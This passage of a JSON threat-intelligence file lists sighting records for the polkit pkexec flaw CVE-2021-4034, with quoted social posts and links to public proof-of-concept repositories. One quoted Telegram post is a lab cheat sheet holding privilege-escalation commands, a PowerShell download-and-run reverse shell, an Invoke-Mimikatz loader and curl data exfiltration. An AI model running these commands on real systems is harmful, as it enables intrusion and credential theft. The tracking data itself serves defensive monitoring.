\u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c.\n\n\u0422\u0430\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043a \u0447\u0438\u0441\u043b\u0443 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u041f\u041e \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c: \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0447\u0435\u0440\u0435\u0437 VPN, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c\u0438 \u0438 IoT-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u041b\u041a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f Windows \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0442\u0438 \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430 \u0441\u0447\u0435\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0443\u0442\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Microsoft Office (CVE-2018-0802, CVE-2017-11882\u00a0, CVE-2017-0199\u00a0 \u0438 CVE-2021-40444\u00a0).\n\n\u041d\u0430\u0431\u0438\u0440\u0430\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 Linux \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0432\u0435\u0441 Windows \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u044f\u0434\u0440\u043e (CVE-2022-0847, CVE-2023-2640 \u0438 CVE-2021-4034), \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f EoP.\n\n\u0422\u043e\u043f-10 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u00a0\u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430, \u043d\u043e \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e-\u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0442\u0435\u0445 \u0436\u0435 \u0442\u0438\u043f\u043e\u0432: \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u0411\u043e\u043b\u044c\u0448\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Bring You Own Vulnerable Driver (BYOVD). \u041f\u0440\u0438\u0447\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0441\u0432\u0435\u0436\u0435\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n2023 \u0433\u043e\u0434 \u0441\u0442\u0430\u043b \u0441\u0430\u043c\u044b\u043c \u0431\u043e\u0433\u0430\u0442\u044b\u043c \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c BYOVD. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 2024-\u0433\u043e \u0438\u0445 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 2021 \u0438 2022 \u0433\u043e\u0434\u044b, \u0432\u043c\u0435\u0441\u0442\u0435 \u0432\u0437\u044f\u0442\u044b\u0435. \u0412\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0440\u043e\u0441\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u041d\u0430\u0433\u043b\u044f\u0434\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2024 \u0433\u043e\u0434\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "url": "https://t.me/true_secator/6124"}, {"timestamp": "2024-08-29T06:29:08Z", "date_only": false, "value": "2024-08-29T06:29:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ARC15INFO/355", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c9d13a3c-b3de-44fe-97bf-e63c7c3ebfd2", "content": "#c_lang \n\nhttps://github.com/PwnFunction/CVE-2021-4034", "url": "https://t.me/ARC15INFO/355"}, {"timestamp": "2024-09-23T18:05:54.355Z", "date_only": false, "value": "2024-09-23T18:05:54.355Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2021-4034", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-15T10:29:54Z", "date_only": false, "value": "2024-10-15T10:29:54.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/5324", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a87779d3-2d3f-4291-a03f-399aa99c0091", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Jan 1-31)\n\nCVE-2021-44228 - Apache Log4j2\nCVE-2021-40444 - Microsoft MSHTML RCE\nCVE-2021-4034 - LPE vuln was found on polkit's pkexec utility\nCVE-2022-0185 - Linux Kernel Container Escape in Kubernetes\nCVE-2022-21907 - HTTP Protocol Stack RCE\nCVE-2022-21882 - Win32k Window Object Type Confusion\nCVE-2021-20038 - SonicWall SMA-100 Unauth RCE\nCVE-2021-45467 - CWP CentOS Web Panel preauth RCE\nCVE-2021-42392 - Unauth RCE in H2 Database Console\nCVE-2022-21658 - Vulnerability in Rust", "url": "https://t.me/CyberSecurityTechnologies/5324"}, {"timestamp": "2024-12-11T18:23:04Z", "date_only": false, "value": "2024-12-11T18:23:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/arm1tage/128", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c349bfa5-c3a8-4621-b1b6-f90d3f6f9c21", "content": "\u041e\u0431\u0449\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u0430\u0431\n\n\u2014 Priv Esc Linux \u2014\nfind / -perm -u=s -type f 2>/dev/null - binaries to use for PrivEx\nfind / -perm /4000 2>/dev/null -ls\n\ngetcap -r / 2>/dev/null\n\nfind / -writable 2>/dev/null | cut -d \"/\" -f 2,3 | grep -v proc | sort -u\n\nsudo -l\n\nexport PATH=/tmp:$PATH\necho $PATH\n\ncat .bash_history\n\n/etc/shadow\n/etc/crontab\n\nhostname / uname -a / cat /proc/version / ps / env / history / cat /etc/os-release\n\nGTFObins\nhttps://gtfobins.github.io/\n\n\n\u2014 Priv Esc Windows \u2014\n\n%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\nC:\\inetpub\\wwwroot\\web.config\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config\n\n5985 - WinRM port\n\nCheck saved creds:\ncmdkey /list\nrunas /savecred /user:admin cmd.exe\n\nFind Creds from PuTTY:\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \"Proxy\" /s\n\nCheck permissions on executables:\nicacls c:\\tasks\\schtask.bat\n\nGive permissions on executables:\nicacls C:\\Windows\\System32\\utilman.exe /grant Administrator:F\n\nTake ownership of the file:\ntakeown /f c:\\Windows\\System32\\sethc.exe\n\nCheck Installed software:\nwmic product get name,version,vendor\n\n\u2014 Other \u2014\n\n/usr/share/doc/python-impacket/example\n\nnc -v 0.0.0.0 4443\n\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\nget file via nc:\nOn the attack machine: cat linpeas.sh| nc -lvnp 1337\nOn the target machine: nc 1.1.1.1 1337 > linpeas.sh\n\nget file via wget:\nwget http://1.1.1.1:1337/linpeas.sh\n\ncurl \u2014data @/home/kali/flag burp.collaborator\n\nLOLBAS:\ncmd.exe /C certutil.exe -urlcache -split -f http://10.9.3.48:1337/nc.exe nc.exe\nbitsadmin /transfer wcb /priority foreground http://10.10.15.193:1337/upload_nix.txt C:\\Users\\htb-student\\Desktop\\test.txt\n\nget file via smb:\nImpacket smb:\nsudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test\n\nOn windows:\ncopy \\\\10.10.14.37\\smb\\nc64.exe\nnet use n: \\\\192.168.220.133\\share /user:test test\n\npowershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://1.1.1.1:1337/powercat.ps1');powercat -c 1.1.1.1 -p 4443 -e cmd\"\n\npowershell \"(New-Object System.Net.WebClient).Downloadfile('http://:8000/shell-name.exe','shell-name.exe')\"\n\npowershell -c Invoke-WebRequest -Uri http://10.11.31.240/winPEASany.exe -OutFile C:\\Users\\bill\\winPEASany.exe\n\ngit file via ftp:\npython3 -m pyftpdlib --port 21\n(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\\Users\\Public\\ftp-file.txt')\nHTB Notes:\n(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\\Users\\Public\\Downloads\\PowerView.ps1')\nIEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n\nInvoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1\nInvoke-WebRequest https:///PowerView.ps1 -UseBasicParsing | IEX\npython3 -c 'import urllib.request;urllib.request.urlretrieve(\"https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh\", \"LinEnum.sh\")'\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\nsqlitebrowser database.sqlite \nhttp://167.99.202.131:31462/storage/v1_db_backup_1604123342.tar.gz\ntar xvf v1_db_backup_1604123342.tar.gz \n\n/usr/share/windows-resources/binaries\n\nxfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.203.235 /u:Administrator /p:'TryH4ckM3!'\n\nVulnerable to CVE-2021-4034\nhttps://github.com/berdav/CVE-2021-4034\n\n\n#windows #linux #ctf", "url": "https://t.me/arm1tage/128"}, {"timestamp": "2024-12-13T08:04:13Z", "date_only": false, "value": "2024-12-13T08:04:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/QValaaFo3uPGrlDiprc88NpVsfmNQ6cxZha1ytjV5Zs", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "aae4aee9-9bb6-4fbe-bbc6-4521a510a1a6"}, {"timestamp": "2024-12-24T20:32:35.045Z", "date_only": false, "value": "2024-12-24T20:32:35.045010Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971669", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "d108d4fc-44ce-4c9d-b384-e36dd0447b37", "url": "https://feedsin.space/feed/CISAKevBot/items/2971669"}, {"timestamp": "2025-01-06T23:00:00Z", "date_only": false, "value": "2025-01-06T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2025-01-06T23:00:00Z", "date_only": false, "value": "2025-01-06T23:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-01-07T11:48:17.558Z", "date_only": false, "value": "2025-01-07T11:48:17.558+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0426", "record": "WID-SEC-W-2023-0426", "field": "document.tracking.generator.date"}, {"timestamp": "2025-01-17T13:35:06.745Z", "date_only": false, "value": "2025-01-17T13:35:06.745465Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-45ff02b8-52616ac586aa8672", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5b36d567-5755-4e94-8aa4-6dfffa5881b7", "url": "https://poliverso.org/objects/0477a01e-45ff02b8-52616ac586aa8672"}, {"timestamp": "2025-01-26T01:48:05.300Z", "date_only": false, "value": "2025-01-26T01:48:05.300955Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/zxqa.bsky.social/post/3lgmcnbrbns2o", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6e92ebbf-6740-468b-b4d4-751c04ef956d", "url": "https://bsky.app/profile/zxqa.bsky.social/post/3lgmcnbrbns2o"}, {"timestamp": "2025-01-26T01:48:05.746Z", "date_only": false, "value": "2025-01-26T01:48:05.746073Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/zxqa.bsky.social/post/3lgmcnbrrbs2o", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "0f38c0a3-cc16-4892-a798-955b0e09969e", "url": "https://bsky.app/profile/zxqa.bsky.social/post/3lgmcnbrrbs2o"}, {"timestamp": "2025-01-26T01:48:06.227Z", "date_only": false, "value": "2025-01-26T01:48:06.227576Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/zxqa.bsky.social/post/3lgmcnbrw622o", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6a59f5c9-f81b-49ab-8cd6-9539a7d94178", "url": "https://bsky.app/profile/zxqa.bsky.social/post/3lgmcnbrw622o"}, {"timestamp": "2025-01-28T04:00:07Z", "date_only": false, "value": "2025-01-28T04:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/CIVNn89GDUIs4ZbFkMz6iekloDpSEBthk-mv-jAbmebdFGA", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "b193a599-bbd4-480f-879e-681571362237"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "72926cfa-c087-4d40-b356-fcb8c20f2b8a"}, {"timestamp": "2025-02-11T07:01:30Z", "date_only": false, "value": "2025-02-11T07:01:30.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/shashinma/4d29c803ec30066d2b1178820b10c7fc", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e116e755-b69c-4479-8b87-e4d66fa5db5b", "url": "https://gist.github.com/shashinma/4d29c803ec30066d2b1178820b10c7fc"}, {"timestamp": "2025-02-23T02:10:31Z", "date_only": false, "value": "2025-02-23T02:10:31.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "03c9dbd5-7bc2-4dde-a6cb-3bd6c5e7361b"}, {"timestamp": "2025-02-23T04:10:40Z", "date_only": false, "value": "2025-02-23T04:10:40.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6f8f4895-0b34-4173-b8b7-21899be35f82"}, {"timestamp": "2025-02-24T22:00:05Z", "date_only": false, "value": "2025-02-24T22:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Et5iVFSCdUPdUHeaaqlJJet8Ug6v7OSAbBycvWTpNUP7fWw", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "362d01bf-007e-43f6-8b53-31c1b5e57679"}, {"timestamp": "2025-03-27T14:02:22Z", "date_only": false, "value": "2025-03-27T14:02:22.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/aydinnyunus/42ab4df2fd363d3566b97d09e09fcac6", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1e0c0e50-7c5d-4977-b7bf-8d676bb70e3d", "url": "https://gist.github.com/aydinnyunus/42ab4df2fd363d3566b97d09e09fcac6"}, {"timestamp": "2025-03-30T13:02:25.468Z", "date_only": false, "value": "2025-03-30T13:02:25.468981Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/malmoeb/statuses/114251513483346084", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "123c0e11-a3fd-4d84-82ba-b490be5b9027", "url": "https://infosec.exchange/users/malmoeb/statuses/114251513483346084"}, {"timestamp": "2025-03-30T13:02:25.476Z", "date_only": false, "value": "2025-03-30T13:02:25.476600Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/malmoeb/statuses/114251513483346084", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6a5cbe0b-8ed8-48dd-975e-e012138dead0", "url": "https://infosec.exchange/users/malmoeb/statuses/114251513483346084"}, {"timestamp": "2025-03-30T13:03:39Z", "date_only": false, "value": "2025-03-30T13:03:39.000340Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7bvps2s", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "771ef261-d47c-49f9-b35d-810aa5de3f32", "url": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7bvps2s"}, {"timestamp": "2025-03-30T13:03:40.020Z", "date_only": false, "value": "2025-03-30T13:03:40.020048Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7c3lc2s", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fd6292e7-9709-41c0-8e81-da3bfbd09cf6", "url": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7c3lc2s"}, {"timestamp": "2025-03-30T13:03:41.006Z", "date_only": false, "value": "2025-03-30T13:03:41.006687Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7c3ld2s", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9deede31-4649-4924-a214-c10e124b8862", "url": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7c3ld2s"}, {"timestamp": "2025-03-30T13:03:42.046Z", "date_only": false, "value": "2025-03-30T13:03:42.046058Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7c4kl2s", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "0073c056-9527-43d9-95ca-336ad6e630f1", "url": "https://bsky.app/profile/malmoeb.bsky.social/post/3lllvr7c4kl2s"}, {"timestamp": "2025-03-31T19:54:01.908Z", "date_only": false, "value": "2025-03-31T19:54:01.908291Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llp562uepu2u", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "77e95346-75a2-4294-8d6f-02cb4375d6e8", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llp562uepu2u"}, {"timestamp": "2025-04-13T23:00:06Z", "date_only": false, "value": "2025-04-13T23:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ggL6AH1lRYorBCzgwro177IArqCXjxjkyvjAx2FEfC3c0Ls", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1d9e42e5-7dab-4fe2-881a-efa9ae8bdc8f"}, {"timestamp": "2025-04-16T13:32:03.668Z", "date_only": false, "value": "2025-04-16T13:32:03.668186Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/steceroni.bsky.social/post/3lmwpbprnpq2w", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "9ac9a191-5b89-4ca2-8ac3-8f61f9e64b08", "url": "https://bsky.app/profile/steceroni.bsky.social/post/3lmwpbprnpq2w"}, {"timestamp": "2025-06-13T09:00:04Z", "date_only": false, "value": "2025-06-13T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/_Cdt-RXJGXlSjrZCIGXjSI4Y-FrkkKAKryswtB5YyesQpYk", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "245be012-86a0-4f86-ad8b-4a77a406b62a"}, {"timestamp": "2025-07-16T04:34:32Z", "date_only": false, "value": "2025-07-16T04:34:32.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/ankush-kaura/a059d2c9cb733598fbc1c12df1956435", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3e08c6d6-d52a-4537-93f7-bff1e1d6e679", "url": "https://gist.github.com/ankush-kaura/a059d2c9cb733598fbc1c12df1956435"}, {"timestamp": "2025-07-30T07:29:45Z", "date_only": false, "value": "2025-07-30T07:29:45.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_sick \u00b7 SCA-2022-0002", "record": "SCA-2022-0002", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2025-08-03T09:50:54.391Z", "date_only": false, "value": "2025-08-03T09:50:54.391846Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lvifqhzntc2c", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "daea22d8-682c-451a-97d5-2ed6273dd71c", "url": "https://bsky.app/profile/ytroncal.bsky.social/post/3lvifqhzntc2c"}, {"timestamp": "2025-08-03T10:00:38Z", "date_only": false, "value": "2025-08-03T10:00:38.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/SpiderCodeCommunity1/369", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1451d316-4431-44ae-9c6f-62d55ef41594", "content": "Title:\nCovert Espionage in Asia\u2019s Communication Networks\n\nHello and welcome, dear reader, to a new article \ud83d\ude01\n\nIn one of the most serious cyber espionage campaigns recently discovered, Palo Alto Networks \u2013 Unit 42 reported intense activity from an advanced threat group known as CL-STA-0969, which is believed to have targeted the critical telecommunications infrastructure of Southeast Asia over a span of ten months.\n\nIt is suspected that this operation was state-sponsored 